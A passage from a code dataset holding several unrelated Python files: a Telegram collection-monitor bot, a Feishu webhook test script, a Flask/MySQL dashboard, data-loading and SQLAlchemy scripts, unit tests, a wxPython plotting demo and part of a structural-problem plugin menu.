names.clear()\n\n deleted_data = set(old_collection) - set(new_collection)\n if deleted_data:\n try:\n for data in deleted_data:\n projects = base.get_project(data[0])\n if projects:\n collection_name = projects[0]\n name = projects[1]\n author = projects[2]\n\n text = f'❗️ Коллекция удалена ❗️' \\\n f'\\nКоллекция: {collection_name}' \\\n f'\\nНазвание: {name}' \\\n f'\\nСоздатель: {author}'\n await asyncio.sleep(1)\n try:\n bot.send_message(user,\n text=text,\n parse_mode='HTML',\n disable_web_page_preview=True\n )\n except BotBlocked:\n logger.error('bot block')\n base.del_user(user)\n except:\n pass\n base.delete_project(data[0])\n\n except Exception as e:\n logger.error(e)\n","repo_name":"alexindev/atomichub_collection_monitor","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"24656442012","text":"# coding=utf-8\nimport requests\nimport json\n\n\ndef robot_test(str1):\n\n headers={'Content-Type': 'application/json'}\n # url='https://open.feishu.cn/open-apis/bot/v2/hook/b6826623-951c-4efc-9b9b-e1278b142fe8'\n url = 'https://open.feishu.cn/open-apis/bot/v2/hook/cd5b49bd-d9cc-4a1f-9ddf-920b8ea13775'\n dic={\"msg_type\":\"text\",\"content\":{\"text\":\"用户{}的昵称为空，请关注\".format(str1)}}\n print(str(dic))\n data=json.dumps(dic)\n print(data)\n # data='{\"msg_type\":\"text\",\"content\":{\"text\":\"request example\"}}'\n\n rs=requests.post(headers=headers,data=data,url=url)\n print(rs.text)\n\n\nif __name__ == '__main__':\n robot_test('test')\n","repo_name":"yangjuntaohg/mw","sub_path":"nickname/scripts/robottest.py","file_name":"robottest.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31508835126","text":"#import request\r\nimport sys\r\nimport os\r\nimport mysql.connector\r\nimport webbrowser\r\n\r\nfrom flask import Flask, render_template, request, redirect, url_for\r\napp = Flask(__name__) #create the Flask app\r\n\r\n#CONNECTION DATABASE\r\nmydb = mysql.connector.connect(host='<< >>', user='<< >>', passwd='<< >>', db='<< >>')\r\ncursor = mydb.cursor()\r\n\r\n@app.route('/')\r\ndef emails(): \r\n\t\tcursor.execute('select id,textmessage,category from emails')\r\n\t\tdata = cursor.fetchall()\r\n\t\tmydb.commit()\r\n\t\treturn render_template(\"Dashboard.html\", data=data)\r\n\t\treturn data\r\n\t\t\r\n@app.route('/Request', methods=['POST','GET'])\r\ndef Request():\r\n\tif request.method == 'POST':\r\n\t\tcursor.callproc('ServiceRequestsPopulate')\r\n\t\tcursor.execute('select SRID,textmessage,assignedto,date,status from Requests')\r\n\t\trequest_data = cursor.fetchall()\r\n\t\tmydb.commit()\r\n\t\treturn render_template(\"Request.html\", request_data=request_data)\r\n\t\treturn request_data \r\n\telse:\r\n\t\treturn render_template(\"NotFound.html\")\r\n\t\r\nwebbrowser.open(\"http://127.0.0.1:5000/\");\r\nif __name__ == '__main__':\r\n app.run()\r\n","repo_name":"PalaniappanNallalagappan/BFSHackathon-FinChemists","sub_path":"UI_Screens/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"13019491190","text":"import ROOT\nimport tensorflow as tf\nimport numpy as np\nfrom models import TestModel\nimport numba as nb\nimport modin.pandas as pd\nimport ray\nray.init()\n\n\n# ROOT.ROOT.EnableImplicitMT()\n\nROOT.gInterpreter.Declare('''\ntemplate\nROOT::RVec ApplyPadding(const ROOT::RVec& x, size_t max_size, const T& pad)\n{\n ROOT::RVec padded = x;\n padded.resize(max_size, pad);\n return padded;\n}\n''')\n\n\nif __name__ == \"__main__\":\n\n \n files = \"/mnt/c/Users/benwi/NTuples/user.bewilson.TauClassifierV3.425200.Pythia8EvtGen_A14NNPDF23LO_Gammatautau_MassWeight_v0_output.root/*.root\"\n df_full = ROOT.RDataFrame(\"tree\", files)\n columns = [\"TauTracks.nInnermostPixelHits\",\n \"TauTracks.nPixelHits\", \n \"TauTracks.nSCTHits\",\n \"TauTracks.chargedScoreRNN\", \n \"TauTracks.isolationScoreRNN\",\n \"TauTracks.conversionScoreRNN\",\n \"TauTracks.pt\",\n \"TauTracks.dphiECal\",\n \"TauTracks.detaECal\",\n \"TauTracks.jetpt\",\n \"TauTracks.d0TJVA\",\n \"TauTracks.d0SigTJVA\",\n \"TauTracks.z0sinthetaTJVA\",\n \"TauTracks.z0sinthetaSigTJVA\", ] \n padded_columns = [f\"{c}_padded\".replace(\".\", \"_\") for c in columns]\n\n max_n_tracks = 3\n for column, padded_column in zip(columns, padded_columns):\n df_full = df_full.Define(padded_column, 'ApplyPadding({}, {}, 0.f)'.format(column, max_n_tracks))\n\n nevents = df_full.Count().GetValue()\n batch_size = 32\n\n for i in range(0, nevents):\n \n col_dict = df_full.Range(i*batch_size, i*batch_size + batch_size).AsNumpy(padded_columns)\n\n df = pd.DataFrame(col_dict)\n\n print(i)","repo_name":"benw22022/programming_experiments","sub_path":"rdf_modin_test.py","file_name":"rdf_modin_test.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"73616429631","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom models import Publisher, Book, Sale, Shop, Stock\n\n# Установите соединение с базой данных\nengine = create_engine('postgresql://postgres:\"введите свой пароль Postgres\"@localhost:5432/\"Введите название вашей БД\"')\nSession = sessionmaker(bind=engine)\nsession = Session()\n\n# Введите имя или идентификатор издателя\npublisher_name = input(\"Введите имя или идентификатор издателя: \")\n\n# Выполните запрос выборки\nsales = session.query(Book.title, Shop.name, Sale.price, Sale.date_sale)\\\n .join(Stock, Book.id == Stock.book_id)\\\n .join(Sale, Stock.id == Sale.stock_id)\\\n .join(Shop, Stock.shop_id == Shop.id)\\\n .join(Publisher, Book.publisher_id == Publisher.id)\\\n .filter(Publisher.name == publisher_name)\\\n .all()\n\n# Выведите результат построчно\nfor sale in sales:\n book_title, shop_name, price, date = sale\n print(f\"{book_title} | {shop_name} | {price} | {date.strftime('%d-%m-%Y')}\")\n\n# Закройте сессию\nsession.close()\n","repo_name":"Anna-Edel/Python_and_DB._ORM","sub_path":"task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"25169242187","text":"import uuid\nfrom unittest import TestCase\nfrom unittest.mock import MagicMock\n\nfrom src.data_transfer.content.logical_operator import LogicalOperator\nfrom src.model.filter_structure.composite.filter_group import FilterGroup\nfrom src.model.filter_structure.composite.filters.polygon_filter import PolygonFilter\nfrom src.model.filter_structure.filter_handler import FilterHandler\n\n\nclass FilterStructureTest(TestCase):\n\n def test_filter_structure(self):\n root_group = FilterGroup(LogicalOperator.AND, uuid.uuid4(), 'standard')\n filter_structure = FilterHandler(root_group, 'lol')\n\n # Test adding a filters component\n component = PolygonFilter(uuid.uuid4(), 'hi', None, [uuid.uuid1()])\n result = filter_structure.add(component, root_group.get_id())\n self.assertEqual(result, True, f'Failed to add filters component: {result}')\n self.assertEqual(filter_structure.get_filter(component.get_id()), component,\n 'Failed to retrieve added filters component')\n\n # Test deleting a filters component\n parent_id = filter_structure.delete(component.get_id())\n self.assertEqual(parent_id, root_group.get_id(), f'Incorrect parent id returned: {parent_id}')\n self.assertEqual(filter_structure.get_filter(component.get_id()), None, 'Filter component not deleted')\n\n # Test getting a filters group\n self.assertEqual(filter_structure.get_filter_group(root_group.get_id()), root_group,\n 'Failed to retrieve root group')\n\n # Test is_polygon_in_use\n self.assertEqual(filter_structure.is_polygon_in_use(\n uuid.uuid1()), False, 'Filter component should not be using a polygon')\n polygon_id = uuid.uuid1()\n mock_polygon_structure = MagicMock()\n component2 = PolygonFilter(uuid.uuid1(), 'hi', mock_polygon_structure, [polygon_id])\n filter_structure.add(component2, root_group.get_id())\n self.assertEqual(filter_structure.is_polygon_in_use(\n polygon_id), True, 'Filter structure should contain a polygon')\n","repo_name":"Elite-Informatik/Analysistool-heterogeneous-vehicle-trajectory-data-sets","sub_path":"test/model/filter_structure/test_filter_structure.py","file_name":"test_filter_structure.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"30242361609","text":"from unittest.mock import Mock\n\nimport pytest\n\nfrom homework3.task01.cache_fun import cache, func\n\nsome = 100, 200\nuncacheable_argument = [1, 2, 3]\n\n\ndef test_of_cache_function():\n times_called = 0\n\n @cache(size=1)\n def foo(a: int, b: int) -> int:\n nonlocal times_called\n times_called += 1\n return a * b\n\n foo(*some)\n foo(*some)\n foo(*some)\n assert times_called == 2\n\n\ndef test_of_uncacheable_argument():\n with pytest.raises(TypeError):\n func([1, 2, 3])\n print(\"Enter cacheable argument\")\n","repo_name":"Astony/Homeworks","sub_path":"homework3/tests/test_cache_func_t01.py","file_name":"test_cache_func_t01.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"19838794589","text":"# -*- coding: utf-8 -*-\n\n###########################################################################\nimport numpy as np\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\nfrom matplotlib.backends.backend_wxagg import FigureCanvasWxAgg as FigureCanvas\n\nfrom matplotlib.figure import Figure\n#from matplotlib.backends.backend_wxagg import NavigationToolbar2WxAgg as NavigationToolbar\nimport wx\nimport time\n\nglobal xdata1\n\nfps = 0.\ndrawing = False\nstart_time = time.time()\n\nclass Testu_logs ( wx.Frame ):\n\n def __init__( self, parent ):\n wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = u\"Testu logs\", pos = wx.DefaultPosition, size = wx.Size( 700,450 ), style = wx.DEFAULT_FRAME_STYLE|wx.TAB_TRAVERSAL )\n \n \n self.SetSizeHints( wx.DefaultSize, wx.DefaultSize )\n\n bSizer1 = wx.BoxSizer( wx.HORIZONTAL )\n\n self.m_panel1 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL )\n bSizer1.Add( self.m_panel1, 1, wx.EXPAND, 5 ) \n\n self.m_panel2 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.BORDER_SUNKEN|wx.TAB_TRAVERSAL )\n self.m_panel2.SetMinSize( wx.Size( 150,-1 ) )\n \n self.figure = mpl.figure.Figure()\n self.axes = self.figure.add_subplot(1,1,1)\n self.canvas = FigureCanvas(self.m_panel1, -1, self.figure)\n self.sizer11 = wx.BoxSizer(wx.VERTICAL)\n self.sizer11.Add(self.canvas,1 , wx.EXPAND)\n self.SetSizer(self.sizer11)\n \n global x\n x = np.linspace(0,50., num=1000)\n X,Y = np.meshgrid(x,x)\n global line,line2,line3,line4\n line, = self.axes.plot([], lw=3)\n line2, = self.axes.plot([], lw=3)\n line3, = self.axes.plot([], lw=3)\n line4, = self.axes.plot([], lw=3)\n \n self.m_panel1 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL )\n bSizer1.Add( self.m_panel1, 1, wx.EXPAND, 5 ) \n global k\n k=0.\n global Blit\n Blit = True\n ##########TIMER\n self.timer = wx.Timer(self)\n self.Bind(wx.EVT_TIMER, self.draw, self.timer)\n\n ################\n self.axes.set_xlim(x.min(), x.max())\n self.axes.set_ylim([-1.1, 1.1])\n self.figure.canvas.draw() \n \n self.axesbackground = self.figure.canvas.copy_from_bbox(self.axes.bbox)\n plt.show(block=False)\n \n \n \n bSizer2 = wx.BoxSizer( wx.VERTICAL )\n\n\n bSizer2.Add( ( 0, 0), 1, wx.EXPAND, 5 )\n\n self.m_button1 = wx.Button( self.m_panel2, wx.ID_ANY, u\"Variants Blit\", wx.DefaultPosition, wx.DefaultSize, 0 )\n bSizer2.Add( self.m_button1, 0, wx.ALL, 5 )\n\n self.m_button2 = wx.Button( self.m_panel2, wx.ID_ANY, u\"Variants no Blit\", wx.DefaultPosition, wx.DefaultSize, 0 )\n bSizer2.Add( self.m_button2, 0, wx.ALL, 5 )\n \n self.toggleBtn = wx.Button(self.m_panel2, wx.ID_ANY, \"Start\")\n bSizer2.Add( self.toggleBtn, 0, wx.ALL, 5 )\n\n\n bSizer2.Add( ( 0, 0), 1, wx.EXPAND, 5 )\n\n\n self.m_panel2.SetSizer( bSizer2 )\n self.m_panel2.Layout()\n bSizer2.Fit( self.m_panel2 )\n bSizer1.Add( self.m_panel2, 0, wx.EXPAND, 5 )\n\n \n self.SetSizer( bSizer1 )\n self.Layout()\n\n\n self.Centre( wx.BOTH )\n self.m_statusBar1 = self.CreateStatusBar( 1, wx.STB_SIZEGRIP|wx.BORDER_RAISED, wx.ID_ANY )\n # Connect Events\n self.Bind( wx.EVT_CLOSE, self.OnClose )\n self.Bind( wx.EVT_IDLE, self.OnIdle )\n self.m_button1.Bind( wx.EVT_BUTTON, self.OnVariantsA )\n self.m_button2.Bind( wx.EVT_BUTTON, self.OnVariantsB )\n self.toggleBtn.Bind(wx.EVT_BUTTON, self.onToggle)\n ########################\n self.figure.canvas.mpl_connect('button_press_event', self.OnClick)\n\n\n\n def __del__( self ):\n pass\n\n\n # Virtual event handlers, overide them in your derived class\n def OnClose( self, event ):\n #self.Close()\n #pass\n event.Skip()\n\n def OnIdle( self, event ):\n event.RequestMore(True)\n #event.RequestMore(True)\n global fps, start_time\n current_time = time.time()\n global start_time\n global k, fps\n global Blit\n global drawing\n \n if drawing:\n return\n drawing = True\n self.figure.canvas.mpl_connect('button_press_event', self.OnClick)\n #self.axes.plot([], lw=3)\n k+=0.11\n line.set_data(x, np.sin(x/4.+k))\n line2.set_data(x, np.sin(x/7.+k))\n line3.set_data(x, np.sin(x/1.+k))\n line4.set_data(x, np.sin(3*x/20.+k))\n \n if Blit == True:\n self.figure.canvas.restore_region(self.axesbackground)\n self.axes.draw_artist(line)\n self.axes.draw_artist(line2)\n self.axes.draw_artist(line3)\n self.axes.draw_artist(line4)\n self.figure.canvas.blit(self.axes.bbox)\n #print(k)\n else:\n self.figure.canvas.draw()\n self.figure.canvas.flush_events()\n #####\n current_time = time.time()\n #try:\n #fps = int( ( 9 * fps + 1.0 / ( current_time - start_time ) ) / 10 )\n #except ZeroDivisionError:\n # pass\n #fps = str( int( fps ) )\n #self.m_statusBar1.SetStatusText( 'FPS:{0:3d}'.format( fps ) )\n\n #self.m_panel1.Refresh()\n try:\n fps = int( ( 9 * fps + 1.0 / ( current_time - start_time ) ) / 10 )\n self.m_statusBar1.SetStatusText( 'FPS:{0:3d}'.format( fps ) )\n except ZeroDivisionError:\n pass\n \n start_time = current_time\n drawing = False\n \n def onToggle(self, event):\n btnLabel = self.toggleBtn.GetLabel()\n if btnLabel == \"Start\":\n print (\"starting timer...\")\n self.timer.Start(1)\n self.toggleBtn.SetLabel(\"Stop\")\n else:\n print (\"timer stopped!\")\n self.timer.Stop()\n self.toggleBtn.SetLabel(\"Start\")\n\n def OnVariantsA( self, event ):\n global Blit\n Blit = True\n print (\"With Blit\")\n #self.timer.Start(10)\n\n def OnVariantsB( self, event ):\n global Blit\n print (\"Without Blit\")\n Blit = False\n \n\n\n\n\n def draw(self, event):\n pass\n \n def OnClick(self, event):\n if event.dblclick: \n pass\n else:\n if event.button == 3:\n try:#wx.MessageBox(\"This is a Message Box\", \"Message\" ,wx.OK | wx.ICON_INFORMATION)\n if wx.TheClipboard.Open():#pievieno y data clipboardam\n wx.TheClipboard.SetData(wx.TextDataObject(str(\"%.2f\" %event.ydata)))\n print(\"Sucess\")\n wx.TheClipboard.Close()\n self.xdata1=str(\"X Dati: %.2f\" %event.artist.get_xdata())\n self.ydata1=str(\"Y Dati: %.2f\" %event.artist.get_ydata())\n print(self.xdata1,self.ydata1)\n MyDialog(self, \"Dialog\",self.xdata1,self.ydata1).ShowModal()\n except TypeError:\n pass\n #### event.xdata,event.ydata # here you click on the plot\n\nclass MyDialog(wx.Dialog): \n def __init__(self, parent, title, xtext,ytext): \n super(MyDialog, self).__init__(parent, title = \"Izvēlētie Dati\", size = (150,150)) \n panel = wx.Panel(self) \n self.textboxSampleTime = wx.StaticText(panel, -1,label=xtext, pos = (0,0))\n self.textboxSampleTime = wx.StaticText(panel, -1,label=ytext, pos = (0,15))\n #####Button\n self.btn = wx.Button(panel, wx.ID_OK, label = \"EXIT\", size = (50,20), pos = (50,50))\n \nclass MainApp(wx.App):\n def OnInit(self):\n mainFrame = Testu_logs(None)\n #mainFrame.draw()\n #mainFrame.status()\n mainFrame.Show(True)\n return True\n\n\n\nif __name__ =='__main__':\n # start time of the loop\n app = MainApp()\n app.MainLoop()\n\n\n\n#app = wx.App( False )\n\n#frame = Testu_logs( None )\n#frame.Show( True )\n\n#start the applications\n#app.MainLoop()\n","repo_name":"kmg100/MATplots","sub_path":"TestuLogs.py","file_name":"TestuLogs.py","file_ext":"py","file_size_in_byte":8159,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"21422564292","text":"from django.contrib import admin\n\nfrom . import models\n\n# Register your models here.\n\n\n@admin.register(models.AlertRequest)\nclass AlertRequestAdmin(admin.ModelAdmin):\n list_display = [field.name for field in models.AlertRequest._meta.fields]\n search_fields = [\"email\", \"uuid\", \"pincode\"]\n\n\nclass CowinSessionInline(admin.StackedInline):\n model = models.CowinSession\n readonly_fields = (\n \"session_id\",\n \"date\",\n \"available_capacity\",\n \"min_age_limit\",\n \"vaccine\",\n \"slots\",\n \"created\",\n )\n extra = 0\n\n\n@admin.register(models.CowinCenter)\nclass CowinCenterAdmin(admin.ModelAdmin):\n list_display = [\n \"uuid\",\n \"center_id\",\n \"name\",\n \"district_name\",\n \"state_name\",\n \"pincode\",\n \"created\",\n ]\n readonly_fields = (\n \"uuid\",\n \"center_id\",\n \"name\",\n \"block_name\",\n \"district_name\",\n \"state_name\",\n \"pincode\",\n )\n\n inlines = (CowinSessionInline,)\n\n\n@admin.register(models.CowinSession)\nclass CowinSessionAdmin(admin.ModelAdmin):\n list_display = (\n \"center\",\n \"session_id\",\n \"date\",\n \"available_capacity\",\n \"min_age_limit\",\n # \"vaccine\",\n # \"slots\",\n \"get_pincode\",\n # \"center_district_name\",\n )\n list_filter = (\n \"date\",\n \"center__name\",\n \"center__pincode\",\n )\n\n def get_pincode(self, obj):\n return obj.center.pincode\n","repo_name":"pixeldust-in/cowin-alert","sub_path":"src/core/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"2503764707","text":"import cv2.cv2 as cv2\r\nimport numpy as np\r\nimport os\r\n\r\ndef myShowImage(img,name = \"from_show_function\"):\r\n cv2.imshow(name, img) \r\n\r\n cv2.waitKey(0) # waits until a key is pressed\r\n cv2.destroyAllWindows() # destroys the window showing image\r\n\r\n return\r\n\r\n \r\nfor i in range(1,41):\r\n os.chdir(\"C:/Users/Martim_Pc/Desktop/DACO/PROJECT_DACO/convNet/Unet/\")\r\n imgPath = 'Datasets/IDRID training/IDRiD_' + str(i).zfill(2) + '.jpg' \r\n imgPathMasks = 'Datasets/IDRID training/IDRiD_' + str(i).zfill(2) + '_OD.tif' \r\n\r\n img = cv2.imread(imgPathMasks,cv2.CV_8UC1)\r\n\r\n scale_percent = 5.95 # percent of original size\r\n width = int(img.shape[1] * scale_percent / 100)\r\n height = int(img.shape[0] * scale_percent / 100)\r\n dim = (width, height)\r\n # resize image\r\n resized = cv2.resize(img, dim, interpolation = cv2.INTER_AREA) # BGR - blue: 0; green: 1; red: 2\r\n resized = np.subtract(np.multiply(resized,(255/230)),28)\r\n resized[resized < 0] = 0\r\n resized = resized.astype(np.uint8)\r\n\r\n finalResized = np.array(resized)\r\n resFin = np.zeros([256,256])\r\n resFin[43:212,0:255]=finalResized\r\n resFin = np.multiply(resFin,255/56) # if masks\r\n resFin = resFin.astype(np.uint8)\r\n\r\n os.chdir(\"C:/Users/Martim_Pc/Desktop/DACO/PROJECT_DACO/convNet/Unet/masks/train\")\r\n cv2.imwrite(str(i)+\".png\", resFin)\r\n\r\n #myShowImage(resFin)","repo_name":"MartimChaves/ret_detect","sub_path":"unet/resizeData.py","file_name":"resizeData.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"17356885004","text":"from PIL import Image\nfrom PIL import ImageDraw\nfrom PIL import ImageFont\nimport forecastio\nimport time\nimport os\n\nimport font_utils\nimport raspi_utils\nimport Frame\n\ndirname = os.path.dirname(__file__)\nroboto_black = os.path.join(dirname, 'fonts/RobotoMono-Bold.ttf')\nroboto_bold = os.path.join(dirname, 'fonts/Roboto-Bold.ttf')\ndarksky_file = os.path.join(dirname, 'darksky_key')\n\nbigfont = ImageFont.truetype(roboto_black, 200)\nsmallfont = ImageFont.truetype(roboto_bold, 20)\n\nwidth = 640\nhalfwidth = width / 2\nheight = 384\nhalfheight = height / 2\n\nlat = 40.688727\nlng = -73.982624\n\ntest_raspi = False\nif raspi_utils.is_raspberry_pi() or test_raspi:\n image_mode = 1\n white = 255\nelse: \n image_mode = \"RGB\"\n white = (255, 255, 255)\n\n\ndef load_darksky_api_key():\n with open(darksky_file) as f:\n return f.readline()\n\ndarksky_key = load_darksky_api_key()\n\n\ndef get_time():\n time.ctime() # 'Mon Oct 18 13:35:29 2010'\n return time.strftime('%l:%M%p %Z on %b %d, %Y') # ' 1:36PM EDT on Oct 18, 2010'\n\n\ndef update():\n update_time = get_time()\n\n forecast = forecastio.load_forecast(darksky_key, lat, lng)\n\n image = Image.new(image_mode, (width, height), white) # 1: clear the frame\n draw = ImageDraw.Draw(image)\n\n left_half_rect = ((0,0), (int(width / 2), height))\n draw.rectangle(left_half_rect, fill=0)\n draw_temp(draw, forecast, roboto_black, left_half_rect)\n\n right_half_rect = ((int(width / 2), height), (width, height))\n draw_summary(draw, forecast, roboto_bold, right_half_rect)\n\n font_utils.draw_text_in_frame(draw, update_time, roboto_bold, ((halfwidth, height - 30), (width, height)), 0)\n\n return image\n\n\ndef draw_temp(draw, forecast, fontpath, framesize):\n temp = forecast.currently().apparentTemperature\n text = str(int(round(temp, 0)))\n font_utils.draw_text_in_frame(draw, text, roboto_black, framesize, white)\n\n\n\ndef draw_summary(draw, forecast, fontpath, frame):\n text = forecast.hourly().summary\n font = ImageFont.truetype(fontpath, 30)\n width = Frame.width(frame)\n \n wrapped = font_utils.wrap_text_to_width(text, font, width - 20)\n size = draw.textsize(wrapped, font)\n\n draw.text((halfwidth + 10, halfheight - (size[1] / 2)), wrapped, font = font, fill = 0)\n\n\ndef main():\n image = update()\n\n if raspi_utils.is_raspberry_pi():\n raspi_utils.send_to_eink(image)\n else:\n filename = \"output.jpg\"\n image.save(filename)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"vsinha/weatherpanel","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"40344032362","text":"# -*- coding: utf-8 -*-\n# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-\n# vi: set ft=python sts=4 ts=4 sw=4 et:\n\nfrom random import seed\n\nimport numpy as np\nimport pandas as pd\nfrom nipype.interfaces import afni\n\nfrom halfpipe.ingest.spreadsheet import read_spreadsheet\nfrom halfpipe.interfaces.utility.afni import FromAFNI, ToAFNI\n\n\ndef test_afni(tmp_path):\n seed(a=0x5E6128C4)\n\n m = 100\n n = 5\n\n column_names = [f\"column_{i+1}\" for i in range(n)]\n\n data_frame = pd.DataFrame(np.random.rand(m, n), columns=column_names)\n\n data_file = tmp_path / \"data.tsv\"\n data_frame.to_csv(data_file, sep=\"\\t\", header=True, index=False)\n\n to_afni = ToAFNI(in_file=data_file)\n\n cwd = tmp_path / \"to_afni\"\n cwd.mkdir()\n\n result = to_afni.run(cwd=cwd)\n assert result.outputs is not None\n\n oned_file = result.outputs.out_file\n metadata = result.outputs.metadata\n\n from_afni = FromAFNI(in_file=oned_file, metadata=metadata)\n\n cwd = tmp_path / \"from_afni\"\n cwd.mkdir()\n\n result = from_afni.run(cwd=cwd)\n assert result.outputs is not None\n\n test_data_frame = read_spreadsheet(result.outputs.out_file)\n assert np.allclose(data_frame.values, test_data_frame.values)\n\n cwd = tmp_path / \"tproject\"\n cwd.mkdir()\n\n tproject = afni.TProject(\n in_file=oned_file,\n out_file=cwd / \"filt.1D\",\n bandpass=(0.01, 0.1),\n TR=2,\n polort=1,\n )\n\n result = tproject.run(cwd=cwd)\n assert result.outputs is not None\n\n from_afni = FromAFNI(in_file=result.outputs.out_file, metadata=metadata)\n result = from_afni.run(cwd=cwd)\n assert result.outputs is not None\n\n test_data_frame = read_spreadsheet(result.outputs.out_file)\n assert not np.allclose(data_frame.values, test_data_frame.values)\n","repo_name":"HALFpipe/HALFpipe","sub_path":"tests/interfaces/utility/test_afni.py","file_name":"test_afni.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"60"} +{"seq_id":"44023191170","text":"import sys\nimport os\nfrom sklearn.metrics import f1_score\nfrom sklearn.preprocessing import MultiLabelBinarizer\nsys.path.append('..')\nfrom config import root_path\nfrom preprocess.data import SelfDataset,id2token\nimport torch\n\n\ndef predict(path):\n data = SelfDataset(path)\n model = torch.load('new_model10.pkl')\n test = \"18270104763河北省唐山市路北区机场路街道华岩北路38号唐山学院南校区\"\n test = torch.tensor([data.word_vocab.get(i, '20940') for i in test])\n predicts = []\n true_labels = []\n for tokens, tags in zip(data.word_ids, data.label_ids):\n res = model(tokens)[1]\n predicts.append(res)\n true_labels.append(tags.numpy())\n y_pred = MultiLabelBinarizer().fit_transform(predicts)\n y_true = MultiLabelBinarizer().fit_transform(true_labels)\n print(f1_score(y_true, y_pred, average='macro'))\n\n id_tokens = id2token('/Users/jgl/Desktop/NLP_Projects/GRU_CRF/data/word.dic')\n id_tag = id2token('/Users/jgl/Desktop/NLP_Projects/GRU_CRF/data/tag.dic')\n # sentences = [id_tokens.get(i.item()) for i in test]\n # print(sentences)\n res = model(test)\n print([id_tag.get(i) for i in res[1]])\n\n\nif __name__ == '__main__':\n path = '/Users/jgl/Desktop/NLP_Projects/GRU_CRF/data/test.txt'\n predict(path)\n\n","repo_name":"jglcomeon/GRU-CRF","sub_path":"model/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"60"} +{"seq_id":"4886426827","text":"from typing import Dict, Iterable, Callable\nimport tkinter as tk\nimport numpy as np\n\n\nclass DSSPlugin:\n settings = {}\n instantiate = False\n def __init__(self, owner:'DSS'):\n self.dss: 'DSS' = owner\n\n @classmethod\n def load_plugin(cls, owner:'DSS'):\n owner.plugins[cls] = DSSPlugin(owner) # Placeholder for plugins that are not instantiated\n if cls.instantiate:\n instance = cls(owner)\n owner.plugins[cls] = instance\n instance.load_instance()\n\n @classmethod\n def get_settings(cls) -> Dict[str, bool]:\n return cls.settings\n\n @classmethod\n def set_setting(cls, key, value):\n cls.settings[key] = value\n\n def load_instance(self):\n pass\n\n def on_after_dss_built(self):\n pass\n\n def get_functions(self) -> Dict[str, Callable]:\n return {}\n\nclass StandardProblemMenu(DSSPlugin):\n instantiate = True\n def __init__(self, owner:'DSS'):\n super().__init__(owner)\n\n self.menu_stdcases:tk.Menu\n\n #@classmethod\n #def get_functions(cls, caller) -> Dict[str, Callable]:\n # return {'Cantilever beam': lambda: cls.get_model(caller, 1),\n # 'Circular arch' : lambda: cls.get_model(caller, 4)}\n\n def on_after_dss_built(self):\n menu_stdcases = tk.Menu(self.dss.topmenu)\n self.dss.topmenu.add_cascade(label='Standard problems',\n menu=menu_stdcases)\n\n menu_stdcases.add_command(label='Cantilever beam',\n command = self.cantilever_beam)\n menu_stdcases.add_command(label='Deep arch',\n command = self.deep_arch_half)\n menu_stdcases.add_command(label='Deep arch (full)',\n command = self.deep_arch)\n menu_stdcases.add_command(label='von Mises truss',\n command = self.von_mises_truss)\n menu_stdcases.add_command(label='Snapback von Mises truss',\n command = self.von_mises_truss_snapback)\n menu_stdcases.add_command(label='Standing rod',\n command = self.standing_rod)\n menu_stdcases.add_command(label='270 arch',\n command = self.arch_270)\n menu_stdcases.add_command(label='Pendulum',\n command = self.pendulum)\n menu_stdcases.add_command(label='von Mises Truss (spring BC)',\n command = self.von_mises_truss_springbc)\n #menu_stdcases.add_command(label='Simply supported beam',\n # command=lambda: self.get_model(2))\n #menu_stdcases.add_command(label='Fanned out cantilever elements',\n # command=lambda: self.get_model(3))\n #menu_stdcases.add_command(label='Circular arch',\n # command=lambda: self.get_model(4))\n #menu_stdcases.add_command(label='270 arch',\n # command=lambda: self.get_model(5))\n\n def cantilever_beam(self):\n self.dss.new_problem()\n self.dss.problem.create_beams((0, 0), (1000, 0), n=8)\n self.dss.problem.fix(self.dss.problem.node_at((0, 0)))\n self.dss.autoscale()\n\n def deep_arch_half(self):\n self.dss.new_problem()\n p = self.dss.problem\n N = 16\n dofs = 2*(3*N - 2,)\n start = np.pi - np.arctan(600/800)\n end = np.pi/2\n\n node_angles = np.linspace(start, end, N)\n node_points = 1000*np.array([np.cos(node_angles), 